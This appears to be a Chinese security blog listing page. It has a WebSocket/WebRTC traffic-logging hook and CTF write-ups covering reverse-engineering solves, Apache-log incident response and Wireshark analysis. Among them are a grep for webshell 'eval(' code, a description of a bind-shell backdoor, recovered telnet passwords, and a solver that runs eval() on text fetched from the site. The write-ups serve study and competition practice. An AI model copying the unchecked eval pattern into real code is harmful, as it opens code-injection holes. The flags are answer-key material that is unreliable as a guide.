===== // 拦截并打印 WebSocket 收发数据 function hookWebSocket() { var _ws_send = WebSocket.prototype.send; WebSocket.prototype.send = function (data) { console.log("WS send:", data); return _ws_send.apply(this, arguments); }; var _WebSocket = window.WebSocket; window.WebSocket = function (...args) { var ws = new _WebSocket(...args); ws.addEventListener("message", function (event) { console.log("WS message:", event.data); }); return ws; }; } // ===== Hook WebRTC send ===== // 拦截 WebRTC 数据 function hookWebRTC() { if (window.RTCPeerConnection) { var _send = RTCDataChannel.prototype.send; RTCDataChannel.prototype.send = function (data) { console.log("WebRTC send:", data); return _send.apply(this, arguments); }; } }
2023年04月25日
488 阅读
0 评论
33 点赞
2023-01-21
此内容被密码保护
加密文章,请前往内页查看详情
2023年01月21日
218 阅读
0 评论
13 点赞
2022-12-08
【CTF解题】2022浙江省信息安全管理与评估解题
留言有逆向题!来劲了,让我看看你有多难,平时做的最多的就是逆向了,还是比较喜欢这个领域。程序逆向登录FTP下载Reverse.rar文件,用户名:ftp,密码:空 下载文件并解压。1.分析程序reverse_0,请找出隐藏信息,并将flag提交。flag格式:flag{<flag值>}2.分析程序reverse_1,请找出隐藏信息,并将flag提交。flag格式:flag{<flag值>}3.分析程序reverse_2,请找出隐藏信息,并将flag提交。flag格式:flag{<flag值>}4.分析程序reverse_3,请找出隐藏信息,并将flag提交。flag格式:flag{<flag值>}Reverse0 静态分析1.我已经从FTP服务器下载并解压了文件,现在有几个文件夹可供我查看。首先,让我仔细研究一下reverse0文件夹里的题目。2.在reverse0文件夹里,我发现了一个Windows PE程序。当我运行该程序并输入几个数字后按回车,程序立刻就退出了。为了更好地了解该程序的工作原理,我决定使用IDA进行代码分析。3.直接用IDA64位打开,注意:32位和64位程序,架构上是不一样的,我没有用查壳工具进行分析,是因为没有必要,是不是32位或64位程序有没有壳,用IDA一打开就能看的出来的,看提示显示AMD64这就是64位程序了。4.通过打开程序,我们可以在IDA的流程图中直接看到程序的分析结果。然而,为了让更多人理解分析的过程,我将继续在这里详细分析。5.通过在流程图界面按F5键,我们可以将反汇编代码转换为C语言代码,这样便于分析。请注意,这种转换可能不完全正确,因此最好保持分析反汇编代码的好习惯。为了节省时间,我们将直接查看转换后的C代码。int __cdecl main(int argc, const char **argv, const char **envp) { int b; // [rsp+28h] [rbp-8h] int a; // [rsp+2Ch] [rbp-4h] _main(); scanf("%d%d", &a, &b); // scanf是输入函数 这里传了两个变量 用来接收用户输入的数值 if ( a == b ) // 然后进行判断 a 等于 b 的话 那么就输出 flag。 printf("flag{this_Is_a_EaSyRe}"); else printf("sorry,you can't get flag"); // 否则就输出不能获取flag 为什么程序会退出呢 打开程序的时候。 return 0; // 输入了数值 直接就退出了,那是因为没有写暂停,即使你输入对了也不会给你看的时间。 }Reverse0 动态调试6.为了验证程序的行为,我们可以观察到,无论输入什么,程序总是会退出,为了停止它的执行,我们可以在x64dbg的帮助下使用断点,使任务简单而直接。7.然后按F8单步跳过,不进入call里,直到运行断点下方,scanf输入函数就执行起来了,这个时候我们才可以输入数值。8.在x64dbg中,按下F8就可以进行单步跳过,不进入被调用的代码段,一直到遇到断点后方的scanf输入函数,此时我们才能输入数值。flag{this_Is_a_EaSyRe}Reverse1 静态分析1.通过运行,我们发现程序需要我们输入一个正确的flag,进行判断。因为程序需要判断,所以其中一定包含了正确的flag,与我们输入的flag作比较,然后决定输出正确或错误的结果。2.让我们使用常用工具IDA来查看一下。打开后,我们意识到没有main函数。所以,我们将直接搜索关键字“flag”,看看是否有任何敏感信息3.使用快捷键Alt + T,在搜索框中输入关键词'flag'并回车,以查找相关信息。4.在IDA中, 我们使用alt + T快捷键, 输入关键字"flag"进行查询, 并通过查询发现了程序入口并识别到明显的"input the flag:"关键字. 现在, 我们可以使用F5继续进行分析。__int64 sub_1400118C0() { char *v0; // rdi 定义一个空字符指针 signed __int64 i; // rcx 定义一个64位有符号整数变量 size_t v2; // rax 定义一个无符号v2整数变量 size_t v3; // rax char v5; // [rsp+0h] [rbp-20h] 定义一个字符v5变量 int j; // [rsp+24h] [rbp+4h] char Str1; // [rsp+48h] [rbp+28h] unsigned __int64 v8; // [rsp+128h] [rbp+108h] v0 = &v5; for ( i = 82i64; i; --i ) { *(_DWORD *)v0 = -858993460; v0 += 4; } for ( j = 0; ; ++j ) { v8 = j; v2 = j_strlen(Str2); if ( v8 > v2 ) break; if ( Str2[j] == 111 ) Str2[j] = 48; } sub_1400111D1("input the flag:"); // 这是 printf 提示 sub_14001128F("%20s", &Str1); // 这是 scanf 输入 v3 = j_strlen(Str2); // 这里获取 str2 的长度 if ( !strncmp(&Str1, Str2, v3) ) // 然后判断做比较成立就 sub_1400111D1("this is the right flag!\n"); // 输出正确 else sub_1400111D1("wrong flag\n"); // 否则就错误 sub_14001113B(&v5, &unk_140019D00); return 0i64; }5.我们知道了要进行比较的值,但是不知道str2的值,我们可以通过按住Ctrl键并点击str2参数来查看它的值。6.进入内存后发现有一串字符串,它是'hello_world',不要以为它就是flag,因为这可能是个误导。代码分析#include <stdio.h> #include <cstring> int main() { char Str2[] = "{hello_world}"; for (int i = 0; i < strlen(Str2); i++) { if (Str2[i] == 111) { Str2[i] = 48; } } printf("%s", Str2); return 0; } /* 根据IDA的分析,代码通过遍历Str2字符串,并在找到字符'o'时将其替换为'0'。接着,代码通过使用strncmp函数进行比较,如果结果为真,就输出"正确"。 */Reverse1 动态调试{dplayer src="https://www.52tt.pro/usr/uploads/2022/12/1210.mp4"/}1.使用xdb64打开目标程序后,首先找到主函数入口。通过按Ctrl + F8让程序自动跳过并在停下时进入被调用的函数。在通过F7一直进入函数直到看到主函数的反汇编段,在 push 代码头部设置断点并单步运行。通过观察寄存器和堆栈里的内容,可以掌握程序执行完成后的结果。flag{hell0_w0rld}Reverse2 静态分析1.打开Reverse2题目发现是一个ELF文件,因此xdb64不能进行调试,但是可以使用IDA进行反汇编查看代码。2.打开ELF文件后,我们可以使用IDA工具查找主函数,通过查看流程图,我们可以发现有关键字的提示。接着我们可以使用快捷键F5将代码转换为C代码,以方便阅读和分析。int __cdecl main(int argc, const char **argv, const char **envp) { int result; // eax int stat_loc; // [rsp+4h] [rbp-3Ch] int i; // [rsp+8h] [rbp-38h] __pid_t pid; // [rsp+Ch] [rbp-34h] char s2; // [rsp+10h] [rbp-30h] unsigned __int64 v8; // [rsp+28h] [rbp-18h] v8 = __readfsqword(0x28u); pid = fork(); if ( pid ) { argv = &stat_loc; waitpid(pid, &stat_loc, 0); } else { for ( i = 0; i <= strlen(&flag); ++i ) // 遍历我们输入的flag { if ( *(&flag + i) == 105 || *(&flag + i) == 114 ) // 判断存在 i 或者 r *(&flag + i) = 49; // 成立就替换相应的位置 i 和 r } } printf("input the flag:", argv); // 输出提示 __isoc99_scanf("%20s", &s2); // 输入函数 用来接收 s2 地址的内容 if ( !strcmp(&flag, &s2) ) // 字符flag 与输入的 s2 进行比较 result = puts("this is the right flag!");// 满足条件就成立 else result = puts("wrong flag!"); // 不满足就错误 return result; }1.程序通过比较flag与我们输入的s2字符串,但我们不知道s2到底是什么。2.通过在IDA中使用快捷键 ctrl + 鼠标左键点击 &flag,我们可以查看 s2 存储的字符串 hacking_for_fun},并且结合前面的代码分析可以得出结果。flag{hack1ng_fo1_fun}Reverse3 静态分析1.需要使用IDA32打开Reverse3题目,因为它是一个32位的PE程序,架构与其他程序不同。2.通过使用IDA32,打开Reverse3题目,因为它是一个32位的PE程序,我们可以按F5键将它转换为C代码,以便更好地分析其内部代码实现。__int64 main_0() { size_t v0; // eax const char *v1; // eax size_t v2; // eax int v3; // edx __int64 v4; // ST08_8 signed int j; // [esp+DCh] [ebp-ACh] signed int i; // [esp+E8h] [ebp-A0h] signed int v8; // [esp+E8h] [ebp-A0h] char Dest[108]; // [esp+F4h] [ebp-94h] char Str; // [esp+160h] [ebp-28h] char v11; // [esp+17Ch] [ebp-Ch] for ( i = 0; i < 100; ++i ) { if ( (unsigned int)i >= 0x64 ) j____report_rangecheckfailure(); Dest[i] = 0; } sub_41132F("please enter the flag:"); sub_411375("%20s", &Str); v0 = j_strlen(&Str); v1 = (const char *)sub_4110BE(&Str, v0, &v11); strncpy(Dest, v1, 0x28u); v8 = j_strlen(Dest); for ( j = 0; j < v8; ++j ) // 是在这里做运算了。 Dest[j] += j; v2 = j_strlen(Dest); if ( !strncmp(Dest, Str2, v2) ) // dest 与 str2 进行比较 v2 是指定的字符位置 sub_41132F("rigth flag!\n"); // 成立就对了 else sub_41132F("wrong flag!\n"); // 否则就错误 HIDWORD(v4) = v3; LODWORD(v4) = 0; return v4; }package main import ( "encoding/base64" "fmt" ) var ( count string str = "e3nifIH9b_C@n@dH" ) func main() { for i := 0; i < len(str); i++ { count += string(int(str[i]) - i) } text, err := base64.StdEncoding.DecodeString(count) if err != nil { panic(err) } fmt.Println(string(text)) }import base64 cont = '' context = "e3nifIH9b_C@n@dH" for i in range(0,len(context)): cont += str(chr(ord(context[i])- i)) print(base64.b64decode(cont).decode())flag{i_l0ve_you}1.Reverse3题目使用了base64加密,通过ASCII码加循环运算进行加密,我用Go语言写了一个程序解密了它,太晚了,说的不详细,现在要睡了。Reverse3 动态调试2.通过动态调试,获得解密结果,提交后得到正确的答案,解题完成。应急响应如果是黑客攻击的话,黑客的流量入口一定是通过HTTP服务,这会在HTTP日志中留下痕迹,如上传恶意文件(如webshell,后门,rootkit等),从而导致恶意进程(如CPU利用率),恶意用户攻击路径对应的服务漏洞,以及本地漏洞等问题。题目11.提交攻击者的 IP 地址。通过研究网页服务,我们可以发现它正在使用Apache,许多软件和服务都有日志记录,我们可以通过分析Apache日志来更好地了解系统运行情况。cd /var/log/apache2awk -F " " '{print $1}' access.log.1 | sort | uniq -c awk -F " " '{print $1" "$4" "$7" "$6}' access.log.1 | sort uniq -c # 多行输出其中,$1、$4、$7、$6 分别代表 Apache access.log 日志文件中的第一个字段,第四个字段第七个字段和第六个字段。通过分析 Apache 日志,我们可以发现哪个 IP 地址连接次数最多,从而确定是否遭受了攻击。flag{192.168.1.7}awk -F " " '{print $7}' access.log.1 | sort | uniq -c题目22.识别攻击者使用的操作系统cat access.log.1 | grep "192.168.1.7" | head -n 1题目33.找出攻击者资产收集所使⽤的平台cat access.log.1 | grep "https"题目44.提交攻击者目录扫描所使用的工具名称常见的扫描工具dirsearch dirb gobuster dirbuster ffuf wfuzz题目55.提交攻击者首次攻击成功的时间,格式:DD/MM/YY:HH:MM:SS题目66.找到攻击者写入的恶意后的文件,提交⽂件名(完整路径)和后门密码 1.phpgrep -r "eval(" /var/www题目77.找到攻击者隐藏在正常web应用代码中的恶意代码,提交该文件名(完整路径) footer.phpfind . -name "*.php" | grep "1"题目8-9-108.识别系统中存在的恶意程序进程,提交进程名 ./prism9.找到⽂件系统中的恶意程序文件并提交⽂件名(完整路径)prism10.简要描述该恶意⽂件的⾏为crontab -l # 列出启动项 crontab -e # 编辑启动项通过观察系统任务周期,我们可以发现 Prism 程序的存在以及它的路径。find / -name prism cd /root/.mal/ ./prism inf0通过分析任务周期,可以确定程序的名称为 prism,在这个目录下,可以使用搜索功能找到 prism 并进入该目录,使用 history 命令查看过去的输入历史,以找到 prism 的运行参数,最后运行该程序,观察是否有任何变化。恶意行为运行恶意二进制文件,使用sh shell启动一个bind shell,等待恶意IP的连接,输入对应的密码即可与该shell建立连接。答题系统方法11.将解压后的源代码放入 phpstudy 服务器中,直接可以通过浏览器访问,"可以发现,该网站每三秒就会刷新一次,因此,我们需要做的是在三秒内作答并提交答案,以获得flag,由于人类难以计算,因此,我们可以利用编程或工具的力量来解决问题。import requests, re def main(): session = requests.Session() response = session.get("http://10.60.47.126:81/index.php") html = re.compile(r'<h2.*?>(.*?)</h2>', re.S) res = html.search(response.text).group(1) clac = re.sub("x","*", res) data = { 'answer': eval(clac[:-3]) } answer = session.post("http://10.60.47.126:81/check.php", data=data) print(answer.text) if __name__ == '__main__': main()方法2F12打开浏览器调试工具,在控制台中输入延迟函数 stop(100000),延迟网页刷新速度进行即可计算答题。流量分析题目1从靶机服务器的 FTP 上下载capture.pcapng数据包,账号名:ftp,密码:空,使用Wireshark分析数据包找出telnet服务器(路由器)的用戶名和密码,并将密码作为Flag值提交。flag格式:flag{密码}通过使用关键字搜索,我们可以发现相关的数据包。关键字 “invalid” 表示错误,而 “success” 则代表正确。我们可以使用过滤语句,追踪TCP流,逐个搜索关键字即可。/* telnet 账号:admin telnet 密码:Cisc0 */ flag{Cisc0}题目2使用Wireshark分析capture.pcapng数据流量包,telnet服务器是一台路由器,找出此台路由器的特权密码,并将密码作为Flag值提交。flag格式:flag{密码}通过对第一个问题的分析,我们获得了特权访问的密码。flag{cisco123}题目3通过结合协议和 IP 地址进行筛选,可以发现有 145 个数据包显示。这样就完成了分析。telnet and ip.src == 192.168.181.141flag{145}题目4通过过滤出 FTP 的命令,发现数量很少,可以用人眼手动分析。flag{PORT 192,168,181,1,235,130}题目7使用Wireshark分析capture.pcapng数据流量包,web服务器地址是192.168.181.250,其使用的脚本语言为php,将服务器使用php的版本号作为Flag值提交。flag格式:flag{php版本号}ip.src == 192.168.181.250 and httpflag{5.5.38}题目8使用Wireshark分析capture.pcapng数据流量包,web服务器地址是192.168.181.250,将web服务器软件的版本号作为Flag值提交。flag格式:flag{web软件版本号}ip.addr == 192.168.181.250 and http contains "Server"flag{2.2.15}题目9使用Wireshark分析capture.pcapng数据流量包,找出数据包当中所有HTTP状态码为404的报文,将这些报文的数量作为Flag值提交。flag格式:flag{报文数量}...题目11使用Wireshark分析capture.pcapng数据包文件,这些数据中有非常多的ICMP报文,这些报文中有大量的非正常ICMP报文,找出类型为重定向的所有报文,将报文重定向的数量作为Flag值提交。flag格式:flag{重定向数量}0:Echo Reply (回显应答)3:Destination Unreachable(目标不可达)5:Redirect(重定向)8:Echo Request(回显请求)11:Time Exceeded(超时)13:Timestamp Request(时间戳请求)14:Timestamp Reply(时间戳应答)15:Information Request(信息请求)16:Information Reply(信息应答)icmp.type eq 5flag{57}
2022年12月08日
899 阅读
0 评论
113 点赞
2022-12-03
【CTF解题】BUUCTF Reverse篇
APK 简单注册器APK程序逆向,这道题目比较简单判断flag成立就解密flag并输出。char[] x = "dd2940c04462b4dd7c450528835cca15".toCharArray(); x[2] = (char) ((x[2] + x[3]) - 50); x[4] = (char) ((x[2] + x[5]) - 48); x[30] = (char) ((x[31] + x[9]) - 48); x[14] = (char) ((x[27] + x[28]) - 97); for (int i = 0; i < 16; i++) { char a = x[31 - i]; x[31 - i] = x[i]; x[i] = a; } String bbb = String.valueOf(x); textview.setText("flag{" + bbb + "}");我们只需要按它的算法流程仿写,再运行一遍就能出flag。x = list("dd2940c04462b4dd7c450528835cca15") x[2] = chr(ord(x[2]) + ord(x[3]) - 50) x[4] = chr(ord(x[2]) + ord(x[5]) - 48) x[30] = chr(ord(x[31]) + ord(x[9]) - 48) x[14] = chr(ord(x[27]) + ord(x[28]) - 97) for i in range(16): a = x[31 - i] x[31 - i] = x[i] x[i] = a bbb = ''.join(x) print("flag{" + bbb + "}")flag{59acc538825054c7de4b26440c0999dd}
2022年12月03日
420 阅读
0 评论
121 点赞
1
2
3
0:00